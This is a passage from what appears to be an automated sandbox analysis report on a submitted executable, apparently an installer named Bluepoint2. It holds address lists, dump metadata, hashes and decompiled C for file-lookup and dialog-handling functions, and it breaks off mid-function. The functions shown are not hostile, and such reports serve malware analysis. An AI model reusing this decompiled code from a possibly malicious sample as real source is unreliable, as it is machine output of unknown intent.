                                                    0x00406f7f
                                                    0x00406f82
                                                    0x00406f85
                                                    0x00406f89
                                                    0x00406f8c
                                                    0x00406f92
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f97
                                                    0x00000000
                                                    0x00406f97
                                                    0x00406db1
                                                    0x00406db1
                                                    0x00406db4
                                                    0x00406dba
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbf
                                                    0x00406dc2
                                                    0x00406dc4
                                                    0x00406dc5
                                                    0x00406dc8
                                                    0x00406e35
                                                    0x00406e35
                                                    0x00406e39
                                                    0x00406e3c
                                                    0x00406e3f
                                                    0x00406e42
                                                    0x00406e45
                                                    0x00406e46
                                                    0x00406e49
                                                    0x00406e4b
                                                    0x00406e51
                                                    0x00406e54
                                                    0x00406e57
                                                    0x00406e5a
                                                    0x00406e5d
                                                    0x00406e63
                                                    0x00406e7f
                                                    0x00406e82
                                                    0x00406e85
                                                    0x00406e88
                                                    0x00406e8f
                                                    0x00406e95
                                                    0x00406e99
                                                    0x00406e65
                                                    0x00406e65
                                                    0x00406e69
                                                    0x00406e71
                                                    0x00406e76
                                                    0x00406e78
                                                    0x00406e7a
                                                    0x00406e7a
                                                    0x00406ea3
                                                    0x00406ea6
                                                    0x00406e1d
                                                    0x00406e1d
                                                    0x00406e23
                                                    0x00406ed6
                                                    0x00406edc
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ede
                                                    0x00406ee1
                                                    0x00406ee4
                                                    0x00406ee7
                                                    0x00406eea
                                                    0x00406eed
                                                    0x00406ef0
                                                    0x00406ef3
                                                    0x00406ef6
                                                    0x00406efc
                                                    0x00406f14
                                                    0x00406f17
                                                    0x00406f1a
                                                    0x00406f1d
                                                    0x00406f1d
                                                    0x00406f20
                                                    0x00406f26
                                                    0x00406efe
                                                    0x00406efe
                                                    0x00406f06
                                                    0x00406f0b
                                                    0x00406f0d
                                                    0x00406f0f
                                                    0x00406f0f
                                                    0x00406f30
                                                    0x00406f33
                                                    0x00406eb1
                                                    0x00406eb5
                                                    0x00407575
                                                    0x00000000
                                                    0x00407575
                                                    0x00406ebb
                                                    0x00406ebe
                                                    0x00406ec1
                                                    0x00406ec5
                                                    0x00406ec8
                                                    0x00406ece
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed3
                                                    0x00406ed3
                                                    0x00406f33
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3e
                                                    0x00406f3e
                                                    0x00406f41
                                                    0x00406f44
                                                    0x00406f48
                                                    0x0040758d
                                                    0x00000000
                                                    0x0040758d
                                                    0x00406f4e
                                                    0x00406f51
                                                    0x00406f54
                                                    0x00406f57
                                                    0x00406f5a
                                                    0x00406f5d
                                                    0x00406f60
                                                    0x00406f62
                                                    0x00406f65
                                                    0x00406f68
                                                    0x00406f6b
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x0040710a
                                                    0x0040710a
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00000000
                                                    0x0040710d
                                                    0x00406e2f
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406eac
                                                    0x00406df8
                                                    0x00406dfc
                                                    0x00407569
                                                    0x004075e5
                                                    0x004075ed
                                                    0x004075f4
                                                    0x004075f6
                                                    0x004075fd
                                                    0x00407601
                                                    0x00407601
                                                    0x00406e02
                                                    0x00406e05
                                                    0x00406e08
                                                    0x00406e0c
                                                    0x00406e0f
                                                    0x00406e15
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e1a
                                                    0x00000000
                                                    0x00406e1a
                                                    0x00406ea6
                                                    0x00406daf
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406bec
                                                    0x004075fa
                                                    0x004075fa
                                                    0x00000000
                                                    0x004075fa
                                                    0x00406bf2
                                                    0x00000000
                                                    0x00406bfd
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c06
                                                    0x00406c09
                                                    0x00406c0c
                                                    0x00406c10
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c16
                                                    0x00406c19
                                                    0x00406c1b
                                                    0x00406c1c
                                                    0x00406c1f
                                                    0x00406c21
                                                    0x00406c22
                                                    0x00406c24
                                                    0x00406c27
                                                    0x00406c2c
                                                    0x00406c31
                                                    0x00406c3a
                                                    0x00406c4d
                                                    0x00406c50
                                                    0x00406c5c
                                                    0x00406c84
                                                    0x00406c86
                                                    0x00406c94
                                                    0x00406c94
                                                    0x00406c98
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c88
                                                    0x00406c8b
                                                    0x00406c8c
                                                    0x00406c8c
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c62
                                                    0x00406c67
                                                    0x00406c67
                                                    0x00406c70
                                                    0x00406c78
                                                    0x00406c7b
                                                    0x00000000
                                                    0x00406c81
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c9e
                                                    0x00406c9e
                                                    0x00406ca2
                                                    0x0040754e
                                                    0x00000000
                                                    0x0040754e
                                                    0x00406cab
                                                    0x00406cbb
                                                    0x00406cbe
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc4
                                                    0x00406cc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406cca
                                                    0x00406cd0
                                                    0x00406cfa
                                                    0x00406d00
                                                    0x00406d07
                                                    0x00000000
                                                    0x00406d07
                                                    0x00406cd6
                                                    0x00406cd9
                                                    0x00406cde
                                                    0x00406cde
                                                    0x00406ce9
                                                    0x00406cf1
                                                    0x00406cf4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d39
                                                    0x00406d3f
                                                    0x00406d42
                                                    0x00406d4f
                                                    0x00406d57
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d0e
                                                    0x00406d0e
                                                    0x00406d12
                                                    0x0040755d
                                                    0x00000000
                                                    0x0040755d
                                                    0x00406d1e
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d2c
                                                    0x00406d2f
                                                    0x00406d32
                                                    0x00406d37
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ffe
                                                    0x00407002
                                                    0x00407020
                                                    0x00407023
                                                    0x0040702a
                                                    0x0040702d
                                                    0x00407030
                                                    0x00407033
                                                    0x00407036
                                                    0x00407039
                                                    0x0040703b
                                                    0x00407042
                                                    0x00407043
                                                    0x00407045
                                                    0x00407048
                                                    0x0040704b
                                                    0x0040704e
                                                    0x0040704e
                                                    0x00407053
                                                    0x00000000
                                                    0x00407053
                                                    0x00407004
                                                    0x00407007
                                                    0x0040700a
                                                    0x00407014
                                                    0x00000000
                                                    0x00000000
                                                    0x00407068
                                                    0x0040706c
                                                    0x0040708f
                                                    0x00407092
                                                    0x00407095
                                                    0x0040709f
                                                    0x0040706e
                                                    0x0040706e
                                                    0x00407071
                                                    0x00407074
                                                    0x00407077
                                                    0x00407084
                                                    0x00407087
                                                    0x00407087
                                                    0x00000000
                                                    0x00000000
                                                    0x004070ab
                                                    0x004070af
                                                    0x00000000
                                                    0x00000000
                                                    0x004070b5
                                                    0x004070b9
                                                    0x00000000
                                                    0x00000000
                                                    0x004070bf
                                                    0x004070c1
                                                    0x004070c5
                                                    0x004070c5
                                                    0x004070c8
                                                    0x004070cc
                                                    0x00000000
                                                    0x00000000
                                                    0x0040711c
                                                    0x00407120
                                                    0x00407127
                                                    0x0040712a
                                                    0x0040712d
                                                    0x00407137
                                                    0x00000000
                                                    0x00407137
                                                    0x00407122
                                                    0x00000000
                                                    0x00000000
                                                    0x00407143
                                                    0x00407147
                                                    0x0040714e
                                                    0x00407151
                                                    0x00407154
                                                    0x00407149
                                                    0x00407149
                                                    0x00407149
                                                    0x00407157
                                                    0x0040715a
                                                    0x0040715d
                                                    0x0040715d
                                                    0x00407160
                                                    0x00407163
                                                    0x00407166
                                                    0x00407166
                                                    0x00407169
                                                    0x00407170
                                                    0x00407175
                                                    0x00000000
                                                    0x00000000
                                                    0x00407203
                                                    0x00407203
                                                    0x00407207
                                                    0x004075a5
                                                    0x00000000
                                                    0x004075a5
                                                    0x0040720d
                                                    0x00407210
                                                    0x00407213
                                                    0x00407217
                                                    0x0040721a
                                                    0x00407220
                                                    0x00407222
                                                    0x00407222
                                                    0x00407222
                                                    0x00407225
                                                    0x00407228
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407286
                                                    0x00407286
                                                    0x0040728a
                                                    0x004075b1
                                                    0x00000000
                                                    0x004075b1
                                                    0x00407290
                                                    0x00407293
                                                    0x00407296
                                                    0x0040729a
                                                    0x0040729d
                                                    0x004072a3
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407056
                                                    0x00407056
                                                    0x00407059
                                                    0x00000000
                                                    0x00000000
                                                    0x00407395
                                                    0x00407399
                                                    0x004073bb
                                                    0x004073be
                                                    0x004073c8
                                                    0x00000000
                                                    0x004073c8
                                                    0x0040739b
                                                    0x0040739e
                                                    0x004073a2
                                                    0x004073a5
                                                    0x004073a5
                                                    0x004073a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407452
                                                    0x00407456
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x0040747b
                                                    0x00407482
                                                    0x00407489
                                                    0x00407489
                                                    0x00000000
                                                    0x00407489
                                                    0x00407458
                                                    0x0040745b
                                                    0x0040745e
                                                    0x00407461
                                                    0x00407468
                                                    0x004073ac
                                                    0x004073ac
                                                    0x004073af
                                                    0x00000000
                                                    0x00000000
                                                    0x00407543
                                                    0x00407546
                                                    0x00000000
                                                    0x00000000
                                                    0x0040717d
                                                    0x0040717f
                                                    0x00407186
                                                    0x00407187
                                                    0x00407189
                                                    0x0040718c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407194
                                                    0x00407197
                                                    0x0040719a
                                                    0x0040719c
                                                    0x0040719e
                                                    0x0040719e
                                                    0x0040719f
                                                    0x004071a2
                                                    0x004071a9
                                                    0x004071ac
                                                    0x004071ba
                                                    0x00000000
                                                    0x00000000
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040749f
                                                    0x0040749f
                                                    0x004074a3
                                                    0x004075db
                                                    0x00000000
                                                    0x004075db
                                                    0x004074a9
                                                    0x004074ac
                                                    0x004074af
                                                    0x004074b3
                                                    0x004074b6
                                                    0x004074bc
                                                    0x004074be
                                                    0x004074be
                                                    0x004074be
                                                    0x004074c1
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c7
                                                    0x004074c7
                                                    0x004074cb
                                                    0x0040752b
                                                    0x0040752e
                                                    0x00407533
                                                    0x00407534
                                                    0x00407536
                                                    0x00407538
                                                    0x0040753b
                                                    0x00000000
                                                    0x0040753b
                                                    0x004074cd
                                                    0x004074d3
                                                    0x004074d6
                                                    0x004074d9
                                                    0x004074dc
                                                    0x004074df
                                                    0x004074e2
                                                    0x004074e5
                                                    0x004074e8
                                                    0x004074eb
                                                    0x004074ee
                                                    0x00407507
                                                    0x0040750a
                                                    0x0040750d
                                                    0x00407510
                                                    0x00407514
                                                    0x00407516
                                                    0x00407516
                                                    0x00407517
                                                    0x0040751a
                                                    0x004074f0
                                                    0x004074f0
                                                    0x004074f8
                                                    0x004074fd
                                                    0x004074ff
                                                    0x00407502
                                                    0x00407502
                                                    0x0040751d
                                                    0x00407524
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x004071c2
                                                    0x004071c5
                                                    0x004071fb
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732e
                                                    0x0040732e
                                                    0x00407331
                                                    0x00407333
                                                    0x004075bd
                                                    0x00000000
                                                    0x004075bd
                                                    0x00407339
                                                    0x0040733c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407342
                                                    0x00407346
                                                    0x00407349
                                                    0x00407349
                                                    0x00407349
                                                    0x00000000
                                                    0x00407349
                                                    0x004071c7
                                                    0x004071c9
                                                    0x004071cb
                                                    0x004071cd
                                                    0x004071d0
                                                    0x004071d1
                                                    0x004071d3
                                                    0x004071d5
                                                    0x004071d8
                                                    0x004071db
                                                    0x004071f1
                                                    0x004071f6
                                                    0x0040722e
                                                    0x0040722e
                                                    0x00407232
                                                    0x0040725e
                                                    0x00407260
                                                    0x00407267
                                                    0x0040726a
                                                    0x0040726d
                                                    0x0040726d
                                                    0x00407272
                                                    0x00407272
                                                    0x00407274
                                                    0x00407277
                                                    0x0040727e
                                                    0x00407281
                                                    0x004072ae
                                                    0x004072ae
                                                    0x004072b1
                                                    0x004072b4
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00000000
                                                    0x00407328
                                                    0x004072b6
                                                    0x004072bc
                                                    0x004072bf
                                                    0x004072c2
                                                    0x004072c5
                                                    0x004072c8
                                                    0x004072cb
                                                    0x004072ce
                                                    0x004072d1
                                                    0x004072d4
                                                    0x004072d7
                                                    0x004072f0
                                                    0x004072f2
                                                    0x004072f5
                                                    0x004072f6
                                                    0x004072f9
                                                    0x004072fb
                                                    0x004072fe
                                                    0x00407300
                                                    0x00407302
                                                    0x00407305
                                                    0x00407307
                                                    0x0040730a
                                                    0x0040730e
                                                    0x00407310
                                                    0x00407310
                                                    0x00407311
                                                    0x00407314
                                                    0x00407317
                                                    0x004072d9
                                                    0x004072d9
                                                    0x004072e1
                                                    0x004072e6
                                                    0x004072e8
                                                    0x004072eb
                                                    0x004072eb
                                                    0x0040731a
                                                    0x00407321
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x00000000
                                                    0x00407323
                                                    0x00000000
                                                    0x00407323
                                                    0x00407321
                                                    0x00407234
                                                    0x00407237
                                                    0x00407239
                                                    0x0040723c
                                                    0x0040723f
                                                    0x00407242
                                                    0x00407244
                                                    0x00407247
                                                    0x0040724a
                                                    0x0040724a
                                                    0x0040724d
                                                    0x0040724d
                                                    0x00407250
                                                    0x00407257
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x00000000
                                                    0x00407259
                                                    0x00000000
                                                    0x00407259
                                                    0x00407257
                                                    0x004071dd
                                                    0x004071e0
                                                    0x004071e2
                                                    0x004071e5
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004070cf
                                                    0x004070cf
                                                    0x004070d3
                                                    0x00407599
                                                    0x00000000
                                                    0x00407599
                                                    0x004070d9
                                                    0x004070dc
                                                    0x004070df
                                                    0x004070e2
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e7
                                                    0x004070ea
                                                    0x004070ed
                                                    0x004070f0
                                                    0x004070f3
                                                    0x004070f6
                                                    0x004070f7
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x00000000
                                                    0x00407390
                                                    0x0040738e
                                                    0x004075c3
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2

                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
                                                    • Instruction ID: 02c1e40b0c9780dd067322b7733c474732bd0f187a49f53fd7fd3c108ee94619
                                                    • Opcode Fuzzy Hash: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
                                                    • Instruction Fuzzy Hash: 7CF15570D04229CBDF28CFA8C8946ADBBB0FF44305F24816ED456BB281D7386A86DF45
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E0040699E(WCHAR* _a4) {
                                                    				void* _t2;
                                                    
                                                    				_t2 = FindFirstFileW(_a4, 0x426798); // executed
                                                    				if(_t2 == 0xffffffff) {
                                                    					return 0;
                                                    				}
                                                    				FindClose(_t2);
                                                    				return 0x426798;
                                                    			}




                                                    0x004069a9
                                                    0x004069b2
                                                    0x00000000
                                                    0x004069bf
                                                    0x004069b5
                                                    0x00000000

                                                    APIs
                                                    • FindFirstFileW.KERNELBASE(76F1FAA0,00426798,00425F50,00406088,00425F50,00425F50,00000000,00425F50,00425F50,76F1FAA0,?,76F1F560,00405D94,?,76F1FAA0,76F1F560), ref: 004069A9
                                                    • FindClose.KERNEL32(00000000), ref: 004069B5
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Find$CloseFileFirst
                                                    • String ID:
                                                    • API String ID: 2295610775-0
                                                    • Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
                                                    • Instruction ID: 0ca7534fdffec89160a31ceabb6ef5ff718bfc83d1618d69d17f9e635378cbc3
                                                    • Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
                                                    • Instruction Fuzzy Hash: 5ED012B15192205FC34057387E0C84B7A989F563317268A36B4AAF11E0CB348C3297AC
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 143 405031-40507d GetDlgItem * 2 144 405083-40511b GlobalAlloc LoadImageW SetWindowLongW ImageList_Create ImageList_AddMasked SendMessageW * 2 143->144 145 4052a8-4052af 143->145 148 40512a-405131 DeleteObject 144->148 149 40511d-405128 SendMessageW 144->149 146 4052b1-4052c1 145->146 147 4052c3 145->147 150 4052c6-4052cf 146->150 147->150 151 405133-40513b 148->151 149->148 152 4052d1-4052d4 150->152 153 4052da-4052e0 150->153 154 405164-405168 151->154 155 40513d-405140 151->155 152->153 157 4053be-4053c5 152->157 158 4052e2-4052e9 153->158 159 4052ef-4052f6 153->159 154->151 156 40516a-40519a call 4045c4 * 2 154->156 160 405142 155->160 161 405145-405162 call 4066a5 SendMessageW * 2 155->161 199 4051a0-4051a6 156->199 200 40526a-40527d GetWindowLongW SetWindowLongW 156->200 166 405436-40543e 157->166 167 4053c7-4053cd 157->167 158->157 158->159 162 4052f8-4052fb 159->162 163 40536b-40536e 159->163 160->161 161->154 171 405306-40531b call 404f7f 162->171 172 4052fd-405304 162->172 163->157 168 405370-40537a 163->168 169 405440-405446 SendMessageW 166->169 170 405448-40544f 166->170 175 4053d3-4053dd 167->175 176 405629-40563b call 40462b 167->176 177 40538a-405394 168->177 178 40537c-405388 SendMessageW 168->178 169->170 180 405451-405458 170->180 181 405483-40548a 170->181 171->163 198 40531d-40532e 171->198 172->163 172->171 175->176 184 4053e3-4053f2 SendMessageW 175->184 177->157 185 405396-4053a0 177->185 178->177 187 405461-405468 180->187 188 40545a-40545b ImageList_Destroy 180->188 191 405490-40549c call 4011ef 181->191 192 4055eb-4055f2 181->192 184->176 193 4053f8-405409 SendMessageW 184->193 194 4053b1-4053bb 185->194 195 4053a2-4053af 185->195 196 405471-40547d 187->196 197 40546a-40546b GlobalFree 187->197 188->187 217 4054ac-4054af 191->217 218 40549e-4054a1 191->218 192->176 204 4055f4-4055fb 192->204 202 405413-405415 193->202 203 40540b-405411 193->203 194->157 195->157 196->181 197->196 198->163 207 405330-405332 198->207 208 4051a9-4051af 199->208 206 405283-405286 200->206 210 405416-40542f call 401299 SendMessageW 202->210 203->202 203->210 204->176 205 4055fd-405627 ShowWindow GetDlgItem ShowWindow 204->205 205->176 211 4052a0-4052a3 call 4045f9 206->211 212 405288-40529b ShowWindow call 4045f9 206->212 213 405334-40533b 207->213 214 405345 207->214 215 4051b5-4051e0 208->215 216 40524c-40525f 208->216 210->166 211->145 212->176 225 405341-405343 213->225 226 40533d-40533f 213->226 227 405348-405364 call 40117d 214->227 228 4051e2-40521a SendMessageW 215->228 229 40521c-40521e 215->229 216->208 220 405265-405268 216->220 221 4054f0-405514 call 4011ef 217->221 222 4054b1-4054ca call 4012e2 call 401299 217->222 230 4054a3 218->230 231 4054a4-4054a7 call 404fff 218->231 220->200 220->206 244 4055b6-4055bf 221->244 245 40551a 221->245 250 4054da-4054e9 SendMessageW 222->250 251 4054cc-4054d2 222->251 225->227 226->227 227->163 228->216 237 405220-405232 SendMessageW 229->237 238 405234-405249 SendMessageW 229->238 230->231 231->217 237->216 238->216 247 4055c1-4055c7 InvalidateRect 244->247 248 4055cd-4055d5 244->248 249 40551d-405528 245->249 247->248 248->192 254 4055d7-4055e6 call 404f52 call 404f3a 248->254 252 40552a-405539 249->252 253 40559e-4055b0 249->253 250->221 257 4054d4 251->257 258 4054d5-4054d8 251->258 255 40553b-405548 252->255 256 40554c-40554f 252->256 253->244 253->249 254->192 255->256 260 405551-405554 256->260 261 405556-40555f 256->261 257->258 258->250 258->251 263 405564-40559c SendMessageW * 2 260->263 261->263 264 405561 261->264 263->253 264->263
                                                    C-Code - Quality: 96%
                                                    			E00405031(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
                                                    				struct HWND__* _v8;
                                                    				struct HWND__* _v12;
                                                    				long _v16;
                                                    				signed int _v20;
                                                    				signed int _v24;
                                                    				intOrPtr _v28;
                                                    				signed char* _v32;
                                                    				int _v36;
                                                    				signed int _v44;
                                                    				int _v48;
                                                    				signed int* _v60;
                                                    				signed char* _v64;
                                                    				signed int _v68;
                                                    				long _v72;
                                                    				void* _v76;
                                                    				intOrPtr _v80;
                                                    				intOrPtr _v84;
                                                    				void* _v88;
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				signed int _t198;
                                                    				intOrPtr _t201;
                                                    				long _t207;
                                                    				signed int _t211;
                                                    				signed int _t222;
                                                    				void* _t225;
                                                    				void* _t226;
                                                    				int _t232;
                                                    				long _t237;
                                                    				long _t238;
                                                    				signed int _t239;
                                                    				signed int _t245;
                                                    				signed int _t247;
                                                    				signed char _t248;
                                                    				signed char _t254;
                                                    				void* _t258;
                                                    				void* _t260;
                                                    				signed char* _t278;
                                                    				signed char _t279;
                                                    				long _t281;
                                                    				long _t284;
                                                    				struct HWND__* _t291;
                                                    				signed int* _t292;
                                                    				int _t293;
                                                    				long _t294;
                                                    				signed int _t295;
                                                    				void* _t297;
                                                    				long _t298;
                                                    				int _t299;
                                                    				signed int _t300;
                                                    				signed int _t303;
                                                    				signed int _t311;
                                                    				signed char* _t319;
                                                    				int _t324;
                                                    				void* _t326;
                                                    
                                                    				_t291 = _a4;
                                                    				_v12 = GetDlgItem(_t291, 0x3f9);
                                                    				_v8 = GetDlgItem(_t291, 0x408);
                                                    				_t326 = SendMessageW;
                                                    				_v24 =  *0x42a288;
                                                    				_v28 =  *0x42a270 + 0x94;
                                                    				if(_a8 != 0x110) {
                                                    					L23:
                                                    					if(_a8 != 0x405) {
                                                    						_t301 = _a16;
                                                    					} else {
                                                    						_a12 = 0;
                                                    						_t301 = 1;
                                                    						_a8 = 0x40f;
                                                    						_a16 = 1;
                                                    					}
                                                    					if(_a8 == 0x4e || _a8 == 0x413) {
                                                    						_v16 = _t301;
                                                    						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
                                                    							if(( *0x42a279 & 0x00000002) != 0) {
                                                    								L41:
                                                    								if(_v16 != 0) {
                                                    									_t237 = _v16;
                                                    									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
                                                    										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c)); // executed
                                                    									}
                                                    									_t238 = _v16;
                                                    									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
                                                    										_t301 = _v24;
                                                    										_t239 =  *(_t238 + 0x5c);
                                                    										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
                                                    											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
                                                    										} else {
                                                    											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
                                                    										}
                                                    									}
                                                    								}
                                                    								goto L48;
                                                    							}
                                                    							if(_a8 == 0x413) {
                                                    								L33:
                                                    								_t301 = 0 | _a8 != 0x00000413;
                                                    								_t245 = E00404F7F(_v8, _a8 != 0x413);
                                                    								_t295 = _t245;
                                                    								if(_t295 >= 0) {
                                                    									_t94 = _v24 + 8; // 0x8
                                                    									_t301 = _t245 * 0x818 + _t94;
                                                    									_t247 =  *_t301;
                                                    									if((_t247 & 0x00000010) == 0) {
                                                    										if((_t247 & 0x00000040) == 0) {
                                                    											_t248 = _t247 ^ 0x00000001;
                                                    										} else {
                                                    											_t254 = _t247 ^ 0x00000080;
                                                    											if(_t254 >= 0) {
                                                    												_t248 = _t254 & 0x000000fe;
                                                    											} else {
                                                    												_t248 = _t254 | 0x00000001;
                                                    											}
                                                    										}
                                                    										 *_t301 = _t248;
                                                    										E0040117D(_t295);
                                                    										_a12 = _t295 + 1;
                                                    										_a16 =  !( *0x42a278) >> 0x00000008 & 0x00000001;
                                                    										_a8 = 0x40f;
                                                    									}
                                                    								}
                                                    								goto L41;
                                                    							}
                                                    							_t301 = _a16;
                                                    							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
                                                    								goto L41;
                                                    							}
                                                    							goto L33;
                                                    						} else {
                                                    							goto L48;
                                                    						}
                                                    					} else {
                                                    						L48:
                                                    						if(_a8 != 0x111) {
                                                    							L56:
                                                    							if(_a8 == 0x200) {
                                                    								SendMessageW(_v8, 0x200, 0, 0);
                                                    							}
                                                    							if(_a8 == 0x40b) {
                                                    								_t225 =  *0x42372c;
                                                    								if(_t225 != 0) {
                                                    									ImageList_Destroy(_t225);
                                                    								}
                                                    								_t226 =  *0x423740;
                                                    								if(_t226 != 0) {
                                                    									GlobalFree(_t226);
                                                    								}
                                                    								 *0x42372c = 0;
                                                    								 *0x423740 = 0;
                                                    								 *0x42a2c0 = 0;
                                                    							}
                                                    							if(_a8 != 0x40f) {
                                                    								L90:
                                                    								if(_a8 == 0x420 && ( *0x42a279 & 0x00000001) != 0) {
                                                    									_t324 = (0 | _a16 == 0x00000020) << 3;
                                                    									ShowWindow(_v8, _t324);
